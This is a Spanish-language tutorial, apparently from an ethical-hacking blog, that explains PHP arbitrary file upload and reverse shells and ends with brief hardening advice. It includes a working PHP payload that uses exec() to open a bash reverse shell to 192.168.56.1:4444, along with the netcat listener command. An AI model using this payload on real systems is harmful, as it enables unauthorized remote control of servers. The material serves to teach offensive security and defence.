PHP
reverse-shell
hacking-etico
web exploitation
subida arbitraria
ejecución remota
Explorando vulnerabilidades en PHP y cómo se convierten en acceso remoto. Este ejercicio nos introduce a una de las técnicas más básicas —y potentes— en el mundo del hacking: la reverse shell, o shell inversa. Un simple formulario vulnerable, un archivo malicioso subido sin restricciones y de pronto, el servidor está hablando contigo.
PHP (Hypertext Preprocessor) es un lenguaje de programación interpretado del lado del servidor. Fue diseñado originalmente para desarrollo web, y a pesar de las críticas, sigue alimentando gran parte de la infraestructura de internet.
Ejecuta instrucciones directamente en el servidor, lo que significa que cualquier archivo .php
subido y ejecutado puede tener acceso completo al sistema de archivos, comandos del sistema, y más —si no está debidamente controlado.
PHP ha sido durante años una fuente de vulnerabilidades, sobre todo por malas prácticas en:
include
, require
) sin validar rutas.exec()
, system()
, eval()
.$_GET
, $_POST
, etc.).Una de las más comunes —y letales— es la subida arbitraria de archivos.
Significa que una aplicación permite subir cualquier tipo de archivo, sin verificar extensiones, contenido, permisos ni ubicación.
En entornos PHP, esto puede permitir que un atacante suba un archivo .php
malicioso. Cuando se accede a ese archivo desde el navegador, el servidor lo ejecuta como código. Resultado, el atacante puede ejecutar comandos, descargar herramientas, o establecer una reverse shell.
Una reverse shell es una conexión saliente que parte desde la máquina víctima hacia la máquina atacante. En lugar de que el atacante se conecte directamente al servidor (lo cual puede estar bloqueado por firewalls), la máquina comprometida se conecta hacia afuera, abriendo una shell remota.
Una vez establecida, el atacante puede:
Todo eso desde una simple conexión de texto.
Un payload básico en PHP puede verse así:
1<?php 2exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'"); 3?>
Esto le dice al servidor: abre una conexión TCP a 192.168.56.1 en el puerto 4444, y redirige la entrada y salida del bash a ese socket. Mientras tanto, en la máquina atacante, se espera la conexión con:
1nc -lvnp 4444
Cuando la víctima abre el archivo PHP a través del navegador, el código se ejecuta y la shell inversa se activa.
La ausencia de validación en formularios de carga puede:
Buenas prácticas:
/uploads/
debería estar separado del backend PHP).Una reverse shell es el susurro del sistema, diciéndote: "Ya no estás afuera". Una simple función de subida mal protegida es suficiente para transformar un servidor en una puerta abierta y tú, como atacante, solo necesitas saber dónde mirar.